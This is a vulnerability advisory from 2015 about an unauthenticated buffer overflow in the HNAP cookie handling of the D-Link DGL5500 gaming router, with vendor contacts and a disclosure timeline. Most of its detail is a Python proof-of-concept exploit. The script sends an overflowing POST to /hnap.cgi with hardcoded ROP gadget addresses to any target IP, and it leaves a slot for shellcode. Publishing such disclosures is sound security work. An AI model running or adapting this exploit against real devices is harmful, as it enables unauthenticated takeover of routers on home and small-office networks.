Dlink DGL5500 Un-Authenticated Buffer overflow in HNAP functionality

[samhuntley84@xxxxxxxxx]

## Advisory Information

Title: DGL5500 Un-Authenticated Buffer overflow in HNAP functionality 
Vendors contacted: William Brown <william.brown@xxxxxxxxx>, Patrick Cline 
patrick.cline@xxxxxxxxx(Dlink)
CVE: None

Note: All these security issues have been discussed with the vendor and vendor 
indicated that they have fixed issues as per the email communication. The 
vendor had also released the information on their security advisory pages 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence 
the information needs to be publicly accessible so that users using these 
devices can update the router firmwares. The author (Samuel Huntley) releasing 
this finding is not responsible for anyone using this information for malicious 
purposes.

## Product Description

DGL5500 -- Gaming Router AC1300 with StreamBoost. Mainly used by home and small 
offices.

## Vulnerabilities Summary

Have come across 1 security issue in DGL5500 firmware which allows an attacker 
on wireless LAN  to exploit buffer overflow vulnerabilitiy in hnap 
functionality. Does not require any authentication and can be exploited on WAN 
if the management interface is exposed.

## Details

# HNAP buffer oberflow
----------------------------------------------------------------------------------------------------------------------
import socket
import struct
import string
import sys

BUFFER_SIZE = 2048

# Although you can access this URL unauthenticated on WAN connection which is 
great but need a good shellcode. buffer overflow in check_hnap_auth

buf = "POST /hnap.cgi HTTP/1.1\r\nHOST: 10.0.0.90\r\nUser-Agent: 
test\r\nContent-Length: 
13\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings\r\nHNAP_AUTH: 
test\r\nCookie: 
unsupportedbrowser=1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
buf+="FFFF"
buf+="AAAA" #s0
buf+="\x2A\xBF\xB9\xF4" #s1 ROP 2
buf+="\x2A\xC1\x3C\x30" #s2 sleep address
buf+="DDDD" #s3
buf+="\x2A\xC0\xEB\x50" #s4 ROP 4 2AC0EB50
buf+="\x2a\xc0\xf3\xe8" # Retn address 2AC0F3E8 ROP1  
buf+="XXXXFFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGG" # 36 bytes of gap
buf+="\x2A\xBC\xDB\xD0" #  ROP 3
buf+="GGGGGGGGGGGGGGGG"
buf+="AAAAAAAAAAAAAAAAAAAAA" # Needs a proper shell code Bad chars 1,0 in the 
first bit of hex byte so 1x or 0x
buf+="GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ\r\n\r\n"+"test=test\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
s.send(buf)
data = s.recv(BUFFER_SIZE)
s.close()
print "received data:", data

----------------------------------------------------------------------------------------------------------------------

## Report Timeline

* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William 
Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the 
vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley (samhuntley84@xxxxxxxxx)